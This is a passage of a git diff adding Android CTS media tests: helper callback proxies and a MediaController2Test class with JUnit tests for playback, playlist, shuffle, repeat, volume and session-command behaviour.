+        @Override
+        public void onPlayerStateChanged(MediaController2 controller, int state) {
+            mCallbackProxy.onPlayerStateChanged(controller, state);
+        }
+
+        @Override
+        public void onSeekCompleted(MediaController2 controller, long position) {
+            mCallbackProxy.onSeekCompleted(controller, position);
+        }
+
+        @Override
+        public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+            mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+        }
+
+        @Override
+        public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+                int state) {
+            mCallbackProxy.onBufferingStateChanged(controller, item, state);
+        }
+
+        @Override
+        public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+            mCallbackProxy.onError(controller, errorCode, extras);
+        }
+
+        @Override
+        public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+            mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+        }
+
+        @Override
+        public void onPlaylistChanged(MediaController2 controller,
+                List<MediaItem2> list, MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+        }
+
+        @Override
+        public void onPlaylistMetadataChanged(MediaController2 controller,
+                MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+        }
+
+        @Override
+        public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+            mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+        }
+
+        @Override
+        public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+            mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+        }
+
+        @Override
+        public void onGetLibraryRootDone(MediaBrowser2 browser, Bundle rootHints,
+                String rootMediaId, Bundle rootExtra) {
+            super.onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+            }
+        }
+
+        @Override
+        public void onGetItemDone(MediaBrowser2 browser, String mediaId, MediaItem2 result) {
+            super.onGetItemDone(browser, mediaId, result);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy).onGetItemDone(browser, mediaId, result);
+            }
+        }
+
+        @Override
+        public void onGetChildrenDone(MediaBrowser2 browser, String parentId, int page,
+                int pageSize, List<MediaItem2> result, Bundle extras) {
+            super.onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+            }
+        }
+
+        @Override
+        public void onSearchResultChanged(MediaBrowser2 browser, String query, int itemCount,
+                Bundle extras) {
+            super.onSearchResultChanged(browser, query, itemCount, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onSearchResultChanged(browser, query, itemCount, extras);
+            }
+        }
+
+        @Override
+        public void onGetSearchResultDone(MediaBrowser2 browser, String query, int page,
+                int pageSize, List<MediaItem2> result, Bundle extras) {
+            super.onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+            }
+        }
+
+        @Override
+        public void onChildrenChanged(MediaBrowser2 browser, String parentId, int itemCount,
+                Bundle extras) {
+            super.onChildrenChanged(browser, parentId, itemCount, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onChildrenChanged(browser, parentId, itemCount, extras);
+            }
+        }
+    }
+
+    public class TestMediaBrowser extends MediaBrowser2 implements TestControllerInterface {
+        private final BrowserCallback mCallback;
+
+        public TestMediaBrowser(@NonNull Context context, @NonNull SessionToken2 token,
+                @NonNull ControllerCallback callback) {
+            super(context, token, sHandlerExecutor, (BrowserCallback) callback);
+            mCallback = (BrowserCallback) callback;
+        }
+
+        @Override
+        public BrowserCallback getCallback() {
+            return mCallback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
new file mode 100644
index 0000000..755801d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -0,0 +1,1132 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.VolumeProvider2;
+import android.media.cts.TestServiceRegistry.SessionServiceCallback;
+import android.media.cts.TestUtils.SyncHandler;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests {@link MediaController2}.
+ */
+// TODO(jaewan): Implement host-side test so controller and session can run in different processes.
+// TODO(jaewan): Fix flaky failure -- see MediaController2Impl.getController()
+// TODO(jaeawn): Revisit create/close session in the sHandler. It's no longer necessary.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@FlakyTest
+@Ignore
+public class MediaController2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaController2Test";
+
+    PendingIntent mIntent;
+    MediaSession2 mSession;
+    MediaController2 mController;
+    MockPlayer mPlayer;
+    MockPlaylistAgent mMockAgent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        final Intent sessionActivity = new Intent(mContext, MockActivity.class);
+        // Create this test specific MediaSession2 to use our own Handler.
+        mIntent = PendingIntent.getActivity(mContext, 0, sessionActivity, 0);
+
+        mPlayer = new MockPlayer(1);
+        mMockAgent = new MockPlaylistAgent();
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(mMockAgent)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            return super.onConnect(session, controller);
+                        }
+                        return null;
+                    }
+
+                    @Override
+                    public void onPlaylistMetadataChanged(MediaSession2 session,
+                            MediaPlaylistAgent playlistAgent,
+                            MediaMetadata2 metadata) {
+                        super.onPlaylistMetadataChanged(session, playlistAgent, metadata);
+                    }
+                })
+                .setSessionActivity(mIntent)
+                .setId(TAG).build();
+        mController = createController(mSession.getToken());
+        TestServiceRegistry.getInstance().setHandler(sHandler);
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        if (mSession != null) {
+            mSession.close();
+        }
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    /**
+     * Test if the {@link MediaSession2TestBase.TestControllerCallback} wraps the callback proxy
+     * without missing any method.
+     */
+    @Test
+    public void testTestControllerCallback() {
+        Method[] methods = TestControllerCallback.class.getMethods();
+        assertNotNull(methods);
+        for (int i = 0; i < methods.length; i++) {
+            // For any methods in the controller callback, TestControllerCallback should have
+            // overriden the method and call matching API in the callback proxy.
+            assertNotEquals("TestControllerCallback should override " + methods[i]
+                            + " and call callback proxy",
+                    ControllerCallback.class, methods[i].getDeclaringClass());
+        }
+    }
+
+    @Test
+    public void testPlay() {
+        mController.play();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPlayCalled);
+    }
+
+    @Test
+    public void testPause() {
+        mController.pause();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPauseCalled);
+    }
+
+    @Ignore
+    @Test
+    public void testStop() {
+        mController.stop();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mStopCalled);
+    }
+
+    @Test
+    public void testPrepare() {
+        mController.prepare();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPrepareCalled);
+    }
+
+    @Test
+    public void testFastForward() {
+        // TODO(jaewan): Implement
+    }
+
+    @Test
+    public void testRewind() {
+        // TODO(jaewan): Implement
+    }
+
+    @Test
+    public void testSeekTo() {
+        final long seekPosition = 12125L;
+        mController.seekTo(seekPosition);
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mSeekToCalled);
+        assertEquals(seekPosition, mPlayer.mSeekPosition);
+    }
+
+    @Test
+    public void testGettersAfterConnected() throws InterruptedException {
+        final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final long position = 150000;
+        final long bufferedPosition = 900000;
+
+        mPlayer.mLastPlayerState = state;
+        mPlayer.mCurrentPosition = position;
+        mPlayer.mBufferedPosition = bufferedPosition;
+
+        MediaController2 controller = createController(mSession.getToken());
+        assertEquals(state, controller.getPlayerState());
+        assertEquals(bufferedPosition, controller.getBufferedPosition());
+        // TODO (jaewan): Enable this test when Session2/Controller2's get(set)PlaybackSpeed
+        //                is implemented. (b/74093080)
+        //assertEquals(speed, controller.getPlaybackSpeed());
+        //assertEquals(position + speed * elapsedTime, controller.getPosition(), delta);
+    }
+
+    @Test
+    public void testGetSessionActivity() {
+        PendingIntent sessionActivity = mController.getSessionActivity();
+        assertEquals(mContext.getPackageName(), sessionActivity.getCreatorPackage());
+        assertEquals(Process.myUid(), sessionActivity.getCreatorUid());
+    }
+
+    @Test
+    public void testSetPlaylist() throws InterruptedException {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mController.setPlaylist(list, null /* Metadata */);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetPlaylistCalled);
+        assertNull(mMockAgent.mMetadata);
+
+        assertNotNull(mMockAgent.mPlaylist);
+        assertEquals(list.size(), mMockAgent.mPlaylist.size());
+        for (int i = 0; i < list.size(); i++) {
+            // MediaController2.setPlaylist does not ensure the equality of the items.
+            assertEquals(list.get(i).getMediaId(), mMockAgent.mPlaylist.get(i).getMediaId());
+        }
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onPlaylistChanged(
+     * MediaController2, List, MediaMetadata2)}.
+     */
+    @Test
+    public void testGetPlaylist() throws InterruptedException {
+        final List<MediaItem2> testList = TestUtils.createPlaylist(2);
+        final AtomicReference<List<MediaItem2>> listFromCallback = new AtomicReference<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistChanged(MediaController2 controller,
+                    List<MediaItem2> playlist, MediaMetadata2 metadata) {
+                assertNotNull(playlist);
+                assertEquals(testList.size(), playlist.size());
+                for (int i = 0; i < playlist.size(); i++) {
+                    assertEquals(testList.get(i).getMediaId(), playlist.get(i).getMediaId());
+                }
+                listFromCallback.set(playlist);
+                latch.countDown();
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return testList;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testControllerCallback_onPlaylistChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(
+                    session.getToken(), true, callback);
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listFromCallback.get(), controller.getPlaylist());
+        }
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() throws InterruptedException {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mController.updatePlaylistMetadata(testMetadata);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+        assertNotNull(mMockAgent.mMetadata);
+        assertEquals(testMetadata.getMediaId(), mMockAgent.mMetadata.getMediaId());
+    }
+
+    @Test
+    public void testGetPlaylistMetadata() throws InterruptedException {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        final AtomicReference<MediaMetadata2> metadataFromCallback = new AtomicReference<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistMetadataChanged(MediaController2 controller,
+                    MediaMetadata2 metadata) {
+                assertNotNull(testMetadata);
+                assertEquals(testMetadata.getMediaId(), metadata.getMediaId());
+                metadataFromCallback.set(metadata);
+                latch.countDown();
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public MediaMetadata2 getPlaylistMetadata() {
+                return testMetadata;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testGetPlaylistMetadata")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(session.getToken(), true, callback);
+            agent.notifyPlaylistMetadataChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(metadataFromCallback.get().getMediaId(),
+                    controller.getPlaylistMetadata().getMediaId());
+        }
+    }
+
+    /**
+     * Test whether {@link MediaSession2#setPlaylist(List, MediaMetadata2)} is notified
+     * through the
+     * {@link ControllerCallback#onPlaylistMetadataChanged(MediaController2, MediaMetadata2)}
+     * if the controller doesn't have {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST} but
+     * {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST_METADATA}.
+     */
+    @Test
+    public void testControllerCallback_onPlaylistMetadataChanged() throws InterruptedException {
+        final MediaItem2 item = TestUtils.createMediaItemWithMetadata();
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        final CountDownLatch latch = new CountDownLatch(2);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistMetadataChanged(MediaController2 controller,
+                    MediaMetadata2 metadata) {
+                assertNotNull(metadata);
+                assertEquals(item.getMediaId(), metadata.getMediaId());
+                latch.countDown();
+            }
+        };
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (Process.myUid() == controller.getUid()) {
+                    SessionCommandGroup2 commands = new SessionCommandGroup2();
+                    commands.addCommand(new SessionCommand2(
+                              SessionCommand2.COMMAND_CODE_PLAYLIST_GET_LIST_METADATA));
+                    return commands;
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public MediaMetadata2 getPlaylistMetadata() {
+                return item.getMetadata();
+            }
+
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testControllerCallback_onPlaylistMetadataChanged")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(session.getToken(), true, callback);
+            agent.notifyPlaylistMetadataChanged();
+            // It also calls onPlaylistMetadataChanged() if it doesn't have permission for getList()
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testAddPlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mController.addPlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mAddPlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        // MediaController2.addPlaylistItem does not ensure the equality of the items.
+        assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+    }
+
+    @Test
+    public void testRemovePlaylistItem() throws InterruptedException {
+        mMockAgent.mPlaylist = TestUtils.createPlaylist(2);
+
+        // Recreate controller for sending removePlaylistItem.
+        // It's easier to ensure that MediaController2.getPlaylist() returns the playlist from the
+        // agent.
+        MediaController2 controller = createController(mSession.getToken());
+        MediaItem2 targetItem = controller.getPlaylist().get(0);
+        controller.removePlaylistItem(targetItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+        assertEquals(targetItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mController.replacePlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+        // MediaController2.replacePlaylistItem does not ensure the equality of the items.
+        assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+    }
+
+    @Test
+    public void testSkipToPreviousItem() throws InterruptedException {
+        mController.skipToPreviousItem();
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+    }
+
+    @Test
+    public void testSkipToNextItem() throws InterruptedException {
+        mController.skipToNextItem();
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mMockAgent.mSkipToNextItemCalled);
+    }
+
+    @Test
+    public void testSkipToPlaylistItem() throws InterruptedException {
+        MediaController2 controller = createController(mSession.getToken());
+        MediaItem2 targetItem = TestUtils.createMediaItemWithMetadata();
+        controller.skipToPlaylistItem(targetItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+        assertEquals(targetItem, mMockAgent.mItem);
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onShuffleModeChanged(MediaController2, int)}.
+     */
+    @Test
+    public void testGetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getShuffleMode() {
+                return testShuffleMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+                assertEquals(testShuffleMode, shuffleMode);
+                latch.countDown();
+            }
+        };
+        mSession.updatePlayer(mPlayer, agent, null);
+        MediaController2 controller = createController(mSession.getToken(), true, callback);
+        agent.notifyShuffleModeChanged();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(testShuffleMode, controller.getShuffleMode());
+    }
+
+    @Test
+    public void testSetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        mController.setShuffleMode(testShuffleMode);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetShuffleModeCalled);
+        assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onRepeatModeChanged(MediaController2, int)}.
+     */
+    @Test
+    public void testGetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getRepeatMode() {
+                return testRepeatMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+                assertEquals(testRepeatMode, repeatMode);
+                latch.countDown();
+            }
+        };
+        mSession.updatePlayer(mPlayer, agent, null);
+        MediaController2 controller = createController(mSession.getToken(), true, callback);
+        agent.notifyRepeatModeChanged();
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(testRepeatMode, controller.getRepeatMode());
+    }
+
+    @Test
+    public void testSetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        mController.setRepeatMode(testRepeatMode);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetRepeatModeCalled);
+        assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+    }
+
+    @Test
+    public void testSetVolumeTo() throws Exception {
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        TestVolumeProvider volumeProvider =
+                new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+        mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+        final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+        final int targetVolume = 50;
+        controller.setVolumeTo(targetVolume, 0 /* flags */);
+        assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(volumeProvider.mSetVolumeToCalled);
+        assertEquals(targetVolume, volumeProvider.mVolume);
+    }
+
+    @Test
+    public void testAdjustVolume() throws Exception {
+        final int maxVolume = 100;
+        final int currentVolume = 23;
+        final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+        TestVolumeProvider volumeProvider =
+                new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+        mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+        final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+        final int direction = AudioManager.ADJUST_RAISE;
+        controller.adjustVolume(direction, 0 /* flags */);
+        assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(volumeProvider.mAdjustVolumeCalled);
+        assertEquals(direction, volumeProvider.mDirection);
+    }
+
+    @Test
+    public void testGetPackageName() {
+        assertEquals(mContext.getPackageName(), mController.getSessionToken().getPackageName());
+    }
+
+    @Test
+    public void testSendCustomCommand() throws InterruptedException {
+        // TODO(jaewan): Need to revisit with the permission.
+        final SessionCommand2 testCommand =
+                new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+        final Bundle testArgs = new Bundle();
+        testArgs.putString("args", "testSendCustomAction");
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onCustomCommand(MediaSession2 session, ControllerInfo controller,
+                    SessionCommand2 customCommand, Bundle args, ResultReceiver cb) {
+                super.onCustomCommand(session, controller, customCommand, args, cb);
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(testCommand, customCommand);
+                assertTrue(TestUtils.equals(testArgs, args));
+                assertNull(cb);
+                latch.countDown();
+            }
+        };
+        mSession.close();
+        mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback).setId(TAG).build();
+        final MediaController2 controller = createController(mSession.getToken());
+        controller.sendCustomCommand(testCommand, testArgs, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testControllerCallback_onConnected() throws InterruptedException {
+        // createController() uses controller callback to wait until the controller becomes
+        // available.
+        MediaController2 controller = createController(mSession.getToken());
+        assertNotNull(controller);
+    }
+
+    @Test
+    public void testControllerCallback_sessionRejects() throws InterruptedException {
+        final MediaSession2.SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                return null;
+            }
+        };
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+        });
+        MediaController2 controller =
+                createController(mSession.getToken(), false, null);
+        assertNotNull(controller);
+        waitForConnect(controller, false);
+        waitForDisconnect(controller, true);
+    }
+
+    @Test
+    public void testControllerCallback_releaseSession() throws InterruptedException {
+        sHandler.postAndSync(() -> {
+            mSession.close();
+        });
+        waitForDisconnect(mController, true);
+    }
+
+    @Test
+    public void testControllerCallback_release() throws InterruptedException {
+        mController.close();
+        waitForDisconnect(mController, true);
+    }
+
+    @Test
+    public void testPlayFromSearch() throws InterruptedException {
+        final String request = "random query";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+                    String query, Bundle extras) {
+                super.onPlayFromSearch(session, controller, query, extras);
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, query);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromSearch").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromSearch(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPlayFromUri() throws InterruptedException {
+        final Uri request = Uri.parse("foo://boo");
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+                    Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, uri);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromUri").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromUri(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testPlayFromMediaId() throws InterruptedException {
+        final String request = "media_id";
+        final Bundle bundle = new Bundle();
+        bundle.putString("key", "value");
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback callback = new SessionCallback() {
+            @Override
+            public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+                    String mediaId, Bundle extras) {
+                assertEquals(mContext.getPackageName(), controller.getPackageName());
+                assertEquals(request, mediaId);
+                assertTrue(TestUtils.equals(bundle, extras));
+                latch.countDown();
+            }
+        };
+        try (MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setSessionCallback(sHandlerExecutor, callback)
+                .setId("testPlayFromMediaId").build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.playFromMediaId(request, bundle);
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
